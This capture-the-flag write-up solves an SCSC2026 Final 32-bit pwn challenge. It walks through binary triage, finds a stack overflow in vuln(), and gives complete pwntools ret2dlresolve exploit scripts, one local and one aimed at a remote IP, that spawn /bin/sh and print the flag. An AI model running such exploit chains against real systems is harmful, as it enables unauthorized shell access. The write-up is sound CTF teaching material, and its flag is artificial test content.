SCSC2026 Final - soal gampang - Binary Exploitation Writeup

Flag: SCSC26{my_old_chall_pwn3rs_P4wNeRZ_cluB3z}

Description: nc 43.128.69.211 6661

The challenge gave a 32-bit ELF and a TCP service. Initial triage showed the binary was dynamically linked, not stripped, and had no embedded flag string.

1
file '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o' && stat -c '%s %F %y' '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o'

1
/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=8b867e211e3c26fad2bd2a2f17a3113c78fe7015, for GNU/Linux 3.2.0, not stripped
2
15644 regular file 2026-05-16 10:06:56.778386669 +0700

1
strings '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o' | rg -i "flag|ctf|scsc|\{[^}]+\}|key|secret|password|BEGIN" --max-columns=200

1
(no output)

The hardening profile made a stack exploit practical: NX was on, but there was no stack canary and no PIE.

1
checksec --file='/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o' && readelf -h '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o'

1
Arch:       i386-32-little
2
RELRO:      Partial RELRO
3
Stack:      No canary found
4
NX:         NX enabled
5
PIE:        No PIE (0x8048000)
6
Stripped:   No
7
Entry point address: 0x8049090

The symbol table had a small attack surface. The binary imported read and write, and exposed vuln and main.

1
nm -n '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o' | rg ' T | W | U '

1
U read@GLIBC_2.0
2
U strlen@GLIBC_2.0
3
U write@GLIBC_2.0
4
080491a2 T vuln
5
080491e8 T main

Disassembly showed the bug. vuln placed the input buffer at ebp-0x6c, then called read(0, buf, 0x100). Saved EIP sat 112 bytes after the buffer start.

1
objdump -d -Mintel '/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o' --disassemble=main --disassemble=vuln

1
080491a2 <vuln>:
2
 80491a5: 53                    push   ebx
3
 80491a6: 83 ec 74              sub    esp,0x74
4
 80491bf: 8d 55 94              lea    edx,[ebp-0x6c]
5
 80491cf: 68 00 01 00 00        push   0x100
6
 80491d4: 8d 45 94              lea    eax,[ebp-0x6c]
7
 80491d8: 6a 00                 push   0x0
8
 80491da: e8 61 fe ff ff        call   8049040 <read@plt>
9
 80491e6: c9                    leave
10
 80491e7: c3                    ret
11

12
080491e8 <main>:
13
 80492ca: e8 a1 fd ff ff        call   8049070 <write@plt>
14
 80492d2: e8 cb fe ff ff        call   80491a2 <vuln>

There was no win function. A first ROP chain leaked write@got and returned to main; after the service recovered, the remote leak was 0xf7e92270. Rather than depend on matching the remote libc, the final exploit used ret2dlresolve: write fake dynamic linker records into writable memory with read, then ask the resolver to load system and call it with /bin/sh.

The same chain worked locally. It resolved system, ran /bin/sh, and executed a test command.

1
from pwn import *
2

3
context.binary = elf = ELF('/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o', checksec=False)
4
offset = 112
5
resolver = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
6
rop = ROP(elf)
7
rop.read(0, resolver.data_addr, len(resolver.payload))
8
rop.ret2dlresolve(resolver)
9
payload = fit({offset: rop.chain()})
10
p = process(elf.path)
11
p.recvuntil(b'Good Luck\n')
12
p.send(payload)
13
p.send(resolver.payload)
14
p.sendline(b'echo PWNED; id; exit')
15
print(p.recvall(timeout=3))

1
PWNED
2
uid=1000(light) gid=1000(light) ...

The remote exploit kept the same chain and made the shell read /service/flag.txt.

1
from pwn import *
2

3
context.binary = elf = ELF('/home/LIGHT/Downloads/SCSC2026Final/pwnpwnclub.o', checksec=False)
4
context.log_level = 'info'
5
offset = 112
6
resolver = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
7
rop = ROP(elf)
8
rop.read(0, resolver.data_addr, len(resolver.payload))
9
rop.ret2dlresolve(resolver)
10
payload = fit({offset: rop.chain()})
11
p = remote('43.128.69.211', 6661, timeout=8)
12
p.recvuntil(b'Good Luck\n', timeout=8)
13
p.send(payload)
14
p.send(resolver.payload)
15
p.sendline(b'cat /service/flag.txt; exit')
16
out = p.recvall(timeout=8)
17
print(out.decode('latin-1', errors='replace'))

1
SCSC26{my_old_chall_pwn3rs_P4wNeRZ_cluB3z}